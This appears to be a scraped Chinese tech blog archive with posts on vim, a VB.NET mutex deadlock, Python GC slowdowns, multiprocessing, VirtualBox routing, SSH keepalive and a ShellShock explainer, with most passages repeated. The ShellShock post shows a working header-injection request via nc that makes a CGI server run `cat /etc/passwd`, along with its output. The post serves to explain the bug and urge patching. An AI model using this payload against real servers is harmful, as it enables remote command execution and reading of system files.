Jul
14
~ vimdiff 比对文件的时候，可以使用 "]c" 或者 "[c" 跳转到下一个/上一个不同的地方。
~ retab 将文件中的tab字符按vimrc中指定的格式转换成空格
~ 未完待续
~ retab 将文件中的tab字符按vimrc中指定的格式转换成空格
~ 未完待续
Jul
7
今天Sandy同学在开发一个网络相关应用的时候遇到了一个奇怪的问题。
大约是这样的一个单例类Foo（以下是类python的伪代码，实际是VB.NET），当调用方法 bar('remove', key, value) 的时候，经常（而不是总是）在for循环过程中报错，错误信息是 "循环过程中_pool已经被修改" 。
_pool 作为Foo的一个私有成员并且被 _mutex 保护着，理论上是不会出现这个问题的，然而各种排查的表现都指向了线程间的竞争问题，因为只有在调用到 bar('add', key, value) 的时候，_pool才有可能被修改到。
仔细查了一下MSDN上面Threading.Mutex的说明，在备注一栏中藏着一句话："拥有互斥体的线程可以在对 WaitOne 的重复调用中请求相同的互斥体而不会阻止其执行。"，也就是说，如果是同一个线程两次调用 bar 方法的话，这个 _mutex 就相当于失效了。
换用其他的互斥锁机制（例如Syncing）并不解决这个问题（事实上Mutex已经是第三个尝试选项了）。我们甚至试着采用Threading.Senaphore，然而却导致整个进程卡住。
于是debug.print把 Threading.Thread.CurrentThread.ManagedThreadId 输出到控制台，发现在出现错误之前是有多个不同的thread id，但是出错的时候，确实是同一个线程两次调用 bar 方法，也就是说 _mutex 确实不能解决这个问题。
经过各种排查，确认是正好在 do(key, value) 方法调用中出现的，然而 Sandy 同学信誓旦旦地保证，do(key, value) 方法绝对不可能递归地调用回到 bar 函数。由于 do(key, value) 内部调用了某个阻塞的网络请求，据此我推测，.NET的网络模型底层使用了线程+纤程的模型，那只能想办法了。通过查看 bar('add', key, value) 的调用栈，发现确实这是同一个请求，但是中间夹杂了一个未知的"外部过程"，也就是说空闲的线程被调度来做其他的事情了。
深坑一个，但是既然找到了原因，就可以考虑如何针对性地去解决它，初步的想法是，Semaphore理论上应该是可以解决这个问题的，可能之前没有细看MSDN、调用方式有点问题。
Sandy同学的想法是，既然 Mutex 已经过滤掉了线程间的冲突，那我们就自己模拟 Semaphore 来解决线程内的冲突，只要简单增加一个初始值为 0 的 _counter 变量 ，在 self._mutex.waitOne() 后面加上
并在 self._mutex.release() 之前执行 self._counter = 0 就可以了。
想法是美好的，但是一执行就卡死在 foo('add') 调用的 while 循环里。简单分析一下就能发现，这个线程既然一直在while循环里面，就不可能被调度回到 foo('remove') 的纤程去修改 _counter=0，于是就卡住了。
没办法，再回头去仔细看MSDN，Threading.Semaphore 确实没有类似Mutex这样的同线程调用，于是把这个代码按照Example重新写了一遍，但是还是卡死了……
然后我瞬间醒悟过来——这似乎根本就是一个因为.net底层实现导致的死锁！除非上层应用能控制线程调度的细节，否则无论是信号量还是修改过的Mutex（同一个线程不能多次获得的）都不能解决这个问题。于是暂时的结论是可能要采用自己实现的线程池来进行调度，但是改动似乎很大。
完。
UPDATE @ 20150720 后来仔细考虑了下，根本问题是在do(key, value) 内部调用的那个“阻塞”请求，在临界区内本就不该调用阻塞请求。按照.net的文档，那个请求应当是非阻塞的，但是不知道为什么在这里阻塞了。由于我对.net并不了解，我没有再继续追究了。
大约是这样的一个单例类Foo（以下是类python的伪代码，实际是VB.NET），当调用方法 bar('remove', key, value) 的时候，经常（而不是总是）在for循环过程中报错，错误信息是 "循环过程中_pool已经被修改" 。
class Foo(singleton):
_pool = {}
_mutex = Threading.Mutex()
def bar(self, action, key, value=None):
self._mutex.waitOne()
if action == 'add':
self._pool[key] = value
else: #'remove'
remove_keys = []
for key, value in self._pool.items():
if do(key, value):
remove_keys.append(key)
for key in remove_keys:
del self._pool[key]
self._mutex.release()
_pool = {}
_mutex = Threading.Mutex()
def bar(self, action, key, value=None):
self._mutex.waitOne()
if action == 'add':
self._pool[key] = value
else: #'remove'
remove_keys = []
for key, value in self._pool.items():
if do(key, value):
remove_keys.append(key)
for key in remove_keys:
del self._pool[key]
self._mutex.release()
_pool 作为Foo的一个私有成员并且被 _mutex 保护着，理论上是不会出现这个问题的，然而各种排查的表现都指向了线程间的竞争问题，因为只有在调用到 bar('add', key, value) 的时候，_pool才有可能被修改到。
仔细查了一下MSDN上面Threading.Mutex的说明，在备注一栏中藏着一句话："拥有互斥体的线程可以在对 WaitOne 的重复调用中请求相同的互斥体而不会阻止其执行。"，也就是说，如果是同一个线程两次调用 bar 方法的话，这个 _mutex 就相当于失效了。
换用其他的互斥锁机制（例如Syncing）并不解决这个问题（事实上Mutex已经是第三个尝试选项了）。我们甚至试着采用Threading.Senaphore，然而却导致整个进程卡住。
于是debug.print把 Threading.Thread.CurrentThread.ManagedThreadId 输出到控制台，发现在出现错误之前是有多个不同的thread id，但是出错的时候，确实是同一个线程两次调用 bar 方法，也就是说 _mutex 确实不能解决这个问题。
经过各种排查，确认是正好在 do(key, value) 方法调用中出现的，然而 Sandy 同学信誓旦旦地保证，do(key, value) 方法绝对不可能递归地调用回到 bar 函数。由于 do(key, value) 内部调用了某个阻塞的网络请求，据此我推测，.NET的网络模型底层使用了线程+纤程的模型，那只能想办法了。通过查看 bar('add', key, value) 的调用栈，发现确实这是同一个请求，但是中间夹杂了一个未知的"外部过程"，也就是说空闲的线程被调度来做其他的事情了。
深坑一个，但是既然找到了原因，就可以考虑如何针对性地去解决它，初步的想法是，Semaphore理论上应该是可以解决这个问题的，可能之前没有细看MSDN、调用方式有点问题。
Sandy同学的想法是，既然 Mutex 已经过滤掉了线程间的冲突，那我们就自己模拟 Semaphore 来解决线程内的冲突，只要简单增加一个初始值为 0 的 _counter 变量 ，在 self._mutex.waitOne() 后面加上
while self._counter != 0:
Threading.sleep(10) #10ms
self._counter = 1
Threading.sleep(10) #10ms
self._counter = 1
并在 self._mutex.release() 之前执行 self._counter = 0 就可以了。
想法是美好的，但是一执行就卡死在 foo('add') 调用的 while 循环里。简单分析一下就能发现，这个线程既然一直在while循环里面，就不可能被调度回到 foo('remove') 的纤程去修改 _counter=0，于是就卡住了。
没办法，再回头去仔细看MSDN，Threading.Semaphore 确实没有类似Mutex这样的同线程调用，于是把这个代码按照Example重新写了一遍，但是还是卡死了……
然后我瞬间醒悟过来——这似乎根本就是一个因为.net底层实现导致的死锁！除非上层应用能控制线程调度的细节，否则无论是信号量还是修改过的Mutex（同一个线程不能多次获得的）都不能解决这个问题。于是暂时的结论是可能要采用自己实现的线程池来进行调度，但是改动似乎很大。
完。
UPDATE @ 20150720 后来仔细考虑了下，根本问题是在do(key, value) 内部调用的那个“阻塞”请求，在临界区内本就不该调用阻塞请求。按照.net的文档，那个请求应当是非阻塞的，但是不知道为什么在这里阻塞了。由于我对.net并不了解，我没有再继续追究了。
Dec
31
手头项目中有一个模块，一般情况下需要用python将数十万条数据加载到一个dict中处理，其中每条数据是一个小的dict，整体速度稍微有点慢（毕竟python不适合处理大量琐碎的小对象），由于在性能要求范围内，所以也没怎么在意。
但是在最近的性能测试中用160w+数据来压的时候，发现性能恶化得厉害。虽然算法是线性的，但是实际运行时间却明显不对劲。增加一些log后，发现在处理过程中，每隔几万条数据就会出现一个很明显的lag，而且lag的时间越拉越长。
由于不像是算法本身的问题，初步猜测可能是python中dict的rehash带来的时间开销。但是根据一般哈希表的实现方法，lag出现得太平均，又不是很符合逻辑。
大胆假设，小心求证，翻了一下python源码，Objects/dictobject.c 中 "static int dictresize(PyDictObject *mp, Py_ssize_t minused)" 函数被多处调用，其中PyDict_SetItem的末尾的调用是："dictresize(mp, (mp->ma_used > 50000 ? 2 : 4) * mp->ma_used)"，也就是说，在需要rehash的情况下，按4倍（少于50000个item）或2倍的规模扩大。
用下面这段代码测试1600w数据，将输出数据拷贝到Excel并生成图表，可以很明显地看出lag的出现规律与上述扩张规则非常相符。
{图一}
将上述代码稍作修改，每次插入的value是个dict，测试100w数据，生成图表，每隔10w左右产生一个lag，且lag时间越拉越长，与遇到的问题现象一致。
{图二}
因此大体可以判断问题出在大量零碎小对象上，很自然地，就联想到会不会是gc在捣蛋。查了一下，虽然Python对象内部是引用计数的管理方式，但是为了避免循环引用导致的内存泄漏，解释器还是内置了一个gc，当现有对象数量超过某个阈值以后扫描一下，看看是否可以回收一些空间。由于我们的代码中并不存在循环引用的对象，这种gc其实是没有意义的，于是把gc关掉再测：
{图三}
一条直线。
但是在最近的性能测试中用160w+数据来压的时候，发现性能恶化得厉害。虽然算法是线性的，但是实际运行时间却明显不对劲。增加一些log后，发现在处理过程中，每隔几万条数据就会出现一个很明显的lag，而且lag的时间越拉越长。
由于不像是算法本身的问题，初步猜测可能是python中dict的rehash带来的时间开销。但是根据一般哈希表的实现方法，lag出现得太平均，又不是很符合逻辑。
大胆假设，小心求证，翻了一下python源码，Objects/dictobject.c 中 "static int dictresize(PyDictObject *mp, Py_ssize_t minused)" 函数被多处调用，其中PyDict_SetItem的末尾的调用是："dictresize(mp, (mp->ma_used > 50000 ? 2 : 4) * mp->ma_used)"，也就是说，在需要rehash的情况下，按4倍（少于50000个item）或2倍的规模扩大。
用下面这段代码测试1600w数据，将输出数据拷贝到Excel并生成图表，可以很明显地看出lag的出现规律与上述扩张规则非常相符。
begin = time.time()
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = i
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = i
{图一}
将上述代码稍作修改，每次插入的value是个dict，测试100w数据，生成图表，每隔10w左右产生一个lag，且lag时间越拉越长，与遇到的问题现象一致。
from copy import deepcopy
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = deepcopy(data)
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = deepcopy(data)
{图二}
因此大体可以判断问题出在大量零碎小对象上，很自然地，就联想到会不会是gc在捣蛋。查了一下，虽然Python对象内部是引用计数的管理方式，但是为了避免循环引用导致的内存泄漏，解释器还是内置了一个gc，当现有对象数量超过某个阈值以后扫描一下，看看是否可以回收一些空间。由于我们的代码中并不存在循环引用的对象，这种gc其实是没有意义的，于是把gc关掉再测：
from copy import deepcopy
import gc
gc.disable()
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = deepcopy(data)
import gc
gc.disable()
data = {'abcdefg': 1234, 'hijklnm': 4.0, 'opqrst': 'uvwxyz'}
begin = time.time()
i = 0
d = {}
while True:
i += 1
if i % 50000 == 0:
print '%d\t%.4f' % (i, time.time() - begin)
d[i] = deepcopy(data)
{图三}
一条直线。
Nov
30
最近项目上有需要，大概就是有一个list里的东西需要处理，例如一堆文件什么的，于是有一个file_processor——按顺序处理一个文件列表。简单封装了一下multiprocessing这个库，发现用起来很方便，很轻松地就实现了多进程并行处理（进程间无交互）：
multiprocess.py 则是这样的：
import multiprocess
slices = multiprocess.split_list(filelist, 8) #分成8份
processes = map(lambda slice: multiprocess.spawn(file_processor, slice), slices)
sys.exit(multiprocess.start_and_join(processes))
slices = multiprocess.split_list(filelist, 8) #分成8份
processes = map(lambda slice: multiprocess.spawn(file_processor, slice), slices)
sys.exit(multiprocess.start_and_join(processes))
multiprocess.py 则是这样的：
#!/usr/bin/python
#coding: utf-8
import sys
from multiprocessing import Process
def split_list(data, n_slice, hash_func=lambda i, d: i): #default: sequential
slices = []
for i in range(n_slice):
slices.append([])
for i, d in enumerate(data):
slices[hash_func(i, d) % n_slice].append(d)
return slices
def spawn(target, *args, **kwargs):
return Process(target=target, args=args, kwargs=kwargs)
def start_and_join(processes, killall_if_fail=True):
for p in processes:
p.start()
exitcode = 0
for p in processes:
p.join()
if p.exitcode != 0:
exitcode = p.exitcode
break
if exitcode != 0:
for p in processes:
if killall_if_fail and p.is_alive():
p.terminate()
return exitcode
#coding: utf-8
import sys
from multiprocessing import Process
def split_list(data, n_slice, hash_func=lambda i, d: i): #default: sequential
slices = []
for i in range(n_slice):
slices.append([])
for i, d in enumerate(data):
slices[hash_func(i, d) % n_slice].append(d)
return slices
def spawn(target, *args, **kwargs):
return Process(target=target, args=args, kwargs=kwargs)
def start_and_join(processes, killall_if_fail=True):
for p in processes:
p.start()
exitcode = 0
for p in processes:
p.join()
if p.exitcode != 0:
exitcode = p.exitcode
break
if exitcode != 0:
for p in processes:
if killall_if_fail and p.is_alive():
p.terminate()
return exitcode
Oct
14
我大约从2010年起，就一直在自己的机器上使用 Windows宿主机+Ubuntu Server@VBox虚拟机 这种组合，一方面不用抛弃windows上早已熟悉的众多GUI软件，另一方面又可以享受到Linux带来的便利，在上面做开发等等。
虽然仅仅用一个NAT就可以解决网络的问题，但是如果每次新增一个服务就要添加一个端口映射也很麻烦，所以我开了双网卡，另一个使用Host-Only，这样主机和虚拟机之间可以直接互访。
虽然有人说用Bridged Network也能解决这个问题，但是前述方法却有更多好处：首先因为是外网无法直接访问这台机器，所以可以使用弱密码；其次虚拟机里使用NAT通过宿主机访问外部网络，因此像我现在主机上的双网卡的目标网络也可以免配置直接访问。
不过昨天遇到了个问题（貌似以前也曾经遇到过），就是突然不能访问外网了（但是仍然能ping通192.168.56.1，即宿主机的Host-Only IP），经过测试发现如果把Host-Only的网卡去掉就没问题，所以看起来像是这两个网络冲突了。
经过放狗搜索，SuperUser上的一个问题提醒我，这个其实是路由表的问题，由于没有指定默认网关，因此不知道为什么Ubuntu（WinXP也会）就把Host-Only的gateway当成默认网关了。
解决问题很简单，先删掉错误的默认网关，再添加新的默认网关：
$ sudo route del default
$ sudo route add default gw 10.0.2.2
不过这个重启以后就会消失，需要保持的话，就在 /etc/network/interfaces 添加一行
up route add default gw 10.0.2.2
虽然仅仅用一个NAT就可以解决网络的问题，但是如果每次新增一个服务就要添加一个端口映射也很麻烦，所以我开了双网卡，另一个使用Host-Only，这样主机和虚拟机之间可以直接互访。
虽然有人说用Bridged Network也能解决这个问题，但是前述方法却有更多好处：首先因为是外网无法直接访问这台机器，所以可以使用弱密码；其次虚拟机里使用NAT通过宿主机访问外部网络，因此像我现在主机上的双网卡的目标网络也可以免配置直接访问。
不过昨天遇到了个问题（貌似以前也曾经遇到过），就是突然不能访问外网了（但是仍然能ping通192.168.56.1，即宿主机的Host-Only IP），经过测试发现如果把Host-Only的网卡去掉就没问题，所以看起来像是这两个网络冲突了。
经过放狗搜索，SuperUser上的一个问题提醒我，这个其实是路由表的问题，由于没有指定默认网关，因此不知道为什么Ubuntu（WinXP也会）就把Host-Only的gateway当成默认网关了。
解决问题很简单，先删掉错误的默认网关，再添加新的默认网关：
$ sudo route del default
$ sudo route add default gw 10.0.2.2
不过这个重启以后就会消失，需要保持的话，就在 /etc/network/interfaces 添加一行
up route add default gw 10.0.2.2
Sep
27
#update@09.28 注意，根据CoolShell这篇文章指出，官方的patch25并没有真正解决问题，仍然可以使用这种方式来实现注入（具体解释详见那篇文章）： $ env X='() { (a)=>\' bash -c "echo date"; ，经过测试，Ubuntu官方更新的Bash不受影响，但是自己patch的bash还是不能解决这个问题。
大概大家都知道了，最近bash爆出来了个大漏洞，名号ShellShock，影响范围是bash 1.14 ~ 4.3（最新版），基本上你能想到的Linux/Unix机器都中招了，包括果粉们的macbook。
当然有些人还是心怀侥幸，那么就执行下面这个命令试试看：
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是：恭喜你中奖了，bash将环境变量的定义直接执行了，说明被注入了。
而打过补丁的系统里，输出应当是：
解决方法其实很简单，大多数发行版都迅速针对这个问题推出了安全更新，比如常用的ubuntu，只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似，网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼，ports.ubuntu.com 还没有及时更新，因此只能手动打补丁了：
【UPDATE】patch-25并没有完全解决问题，可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
打完补丁心里放心了，就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI（Common Gateway Interface），最早的动态页面都是通过CGI实现的：http server除了给出一些CGI中规定的环境变量之外，还有解析HTTP Header中的字段，加上前缀HTTP_也设置为环境变量；准备好env以后，才去调用对应的CGI程序，CGI程序通过解析变量的值来获取用户的输入，并给出相应的返回。
比如说Ubuntu上的apache，默认是开启了mod_cgi，并且cgi目录是 /usr/lib/cgi-bin ，我们可以在下面放一个最简单的cgi脚本，名叫 test （并chmod +x），其内容是
访问 http://127.0.0.1/cgi-bin/test ，你就可以看到一个页面，内容是Hi。你可以在CGI程序的末尾追加一个env命令，用来查看环境变量，可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容，也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意，浏览器可以影响到（这个cgi脚本及其子进程的）环境变量——这就是突破点了，因此可以很容易地构造一个攻击请求，让服务器执行指定的命令，例如：
服务器返回的内容就变成了：
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试，php-fpm和apache的mod_php方式都不不受shellshock的影响，但是不要认为你没有跑上面这种CGI程序就放心了，例如常见的基于CGI的perl和php（据说fastcgi没问题，但我没测试），有时会通过system之类的函数调用shell命令，这也会导致bash被调用，而且据说openssh和dns client也有类似的问题（具体情形我没有了解），所以就不要侥幸了，尽快升级你的bash吧！
p.s. 说一句马后炮的话，这个BUG实际上非常简单（以至于我这么容易就弄懂了），bash遍历环境变量的时候会（用yacc生成的解释器）检查它的值，如果它看起来像是一个函数的定义（就像 x="() { echo hello!; }" 这样），那么bash会eval这段代码，然而如前面的例子所示，虽然它看起来像是一个函数定义，但是它实际上可以是用分号分隔的多个语句，依然满足bash的语法……看了一下bash43-025这个patch，修改了几十行，主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码，从而避免了上述情况。
大概大家都知道了，最近bash爆出来了个大漏洞，名号ShellShock，影响范围是bash 1.14 ~ 4.3（最新版），基本上你能想到的Linux/Unix机器都中招了，包括果粉们的macbook。
当然有些人还是心怀侥幸，那么就执行下面这个命令试试看：
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是：
引用
vulnerable
this is a test
this is a test
而打过补丁的系统里，输出应当是：
引用
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
bash: error importing function definition for `x'
this is a test
解决方法其实很简单，大多数发行版都迅速针对这个问题推出了安全更新，比如常用的ubuntu，只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似，网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼，ports.ubuntu.com 还没有及时更新，因此只能手动打补丁了：
【UPDATE】patch-25并没有完全解决问题，可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
#!/bin/bash
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
打完补丁心里放心了，就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI（Common Gateway Interface），最早的动态页面都是通过CGI实现的：http server除了给出一些CGI中规定的环境变量之外，还有解析HTTP Header中的字段，加上前缀HTTP_也设置为环境变量；准备好env以后，才去调用对应的CGI程序，CGI程序通过解析变量的值来获取用户的输入，并给出相应的返回。
比如说Ubuntu上的apache，默认是开启了mod_cgi，并且cgi目录是 /usr/lib/cgi-bin ，我们可以在下面放一个最简单的cgi脚本，名叫 test （并chmod +x），其内容是
#!/bin/bash
echo #输出一个空行，用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
echo #输出一个空行，用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
访问 http://127.0.0.1/cgi-bin/test ，你就可以看到一个页面，内容是Hi。你可以在CGI程序的末尾追加一个env命令，用来查看环境变量，可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容，也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意，浏览器可以影响到（这个cgi脚本及其子进程的）环境变量——这就是突破点了，因此可以很容易地构造一个攻击请求，让服务器执行指定的命令，例如：
引用
$ nc 127.0.0.1 80
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
服务器返回的内容就变成了：
引用
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试，php-fpm和apache的mod_php方式都不不受shellshock的影响，但是不要认为你没有跑上面这种CGI程序就放心了，例如常见的基于CGI的perl和php（据说fastcgi没问题，但我没测试），有时会通过system之类的函数调用shell命令，这也会导致bash被调用，而且据说openssh和dns client也有类似的问题（具体情形我没有了解），所以就不要侥幸了，尽快升级你的bash吧！
p.s. 说一句马后炮的话，这个BUG实际上非常简单（以至于我这么容易就弄懂了），bash遍历环境变量的时候会（用yacc生成的解释器）检查它的值，如果它看起来像是一个函数的定义（就像 x="() { echo hello!; }" 这样），那么bash会eval这段代码，然而如前面的例子所示，虽然它看起来像是一个函数定义，但是它实际上可以是用分号分隔的多个语句，依然满足bash的语法……看了一下bash43-025这个patch，修改了几十行，主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码，从而避免了上述情况。
Sep
26
二选一应该就行了：
(1) 客户端：修改/etc/ssh/ssh_config ，
增加ServerAliveInterval 15，这样客户端会在空闲时每15s给Server发送一个null包
增加ServerAliveCountMax 3 （默认值就是3），如果连续3次null包没有收到回应就会断开连接
(2) [类似地] 服务端：修改/etc/ssh/sshd_config，
增加ClientAliveInterval 15，这样服务端会在空闲时每15s给Client发送一个null包。
增加ClientAliveCountMax 3 （默认值就是3），如果连续3次null包没有收到回应就会断开连接
详情可以 man ssh_config 或者 man sshd_config 查看。
(1) 客户端：修改/etc/ssh/ssh_config ，
增加ServerAliveInterval 15，这样客户端会在空闲时每15s给Server发送一个null包
增加ServerAliveCountMax 3 （默认值就是3），如果连续3次null包没有收到回应就会断开连接
(2) [类似地] 服务端：修改/etc/ssh/sshd_config，
增加ClientAliveInterval 15，这样服务端会在空闲时每15s给Client发送一个null包。
增加ClientAliveCountMax 3 （默认值就是3），如果连续3次null包没有收到回应就会断开连接
详情可以 man ssh_config 或者 man sshd_config 查看。
Jun
15
挺早之前就有设想过这样一个Python模块，基于共享内存（Linux下的mmap）的哈希表实现，使得多个Python进程之间可以方便地共享一些数据。
某天心血来潮，花了几个小时居然写出来了，然后花了两天时间陆陆续续修补完善。
由于偷懒，没有做信号量/锁之类的东西，所以只适合一些简单的场景。
性能还凑合，但是没经过正经的测试和实际使用，仅供参考。
pypi页：https://pypi.python.org/pypi/pyshmht
Github：https://github.com/felix021/pyshmht
某天心血来潮，花了几个小时居然写出来了，然后花了两天时间陆陆续续修补完善。
由于偷懒，没有做信号量/锁之类的东西，所以只适合一些简单的场景。
性能还凑合，但是没经过正经的测试和实际使用，仅供参考。
pypi页：https://pypi.python.org/pypi/pyshmht
Github：https://github.com/felix021/pyshmht
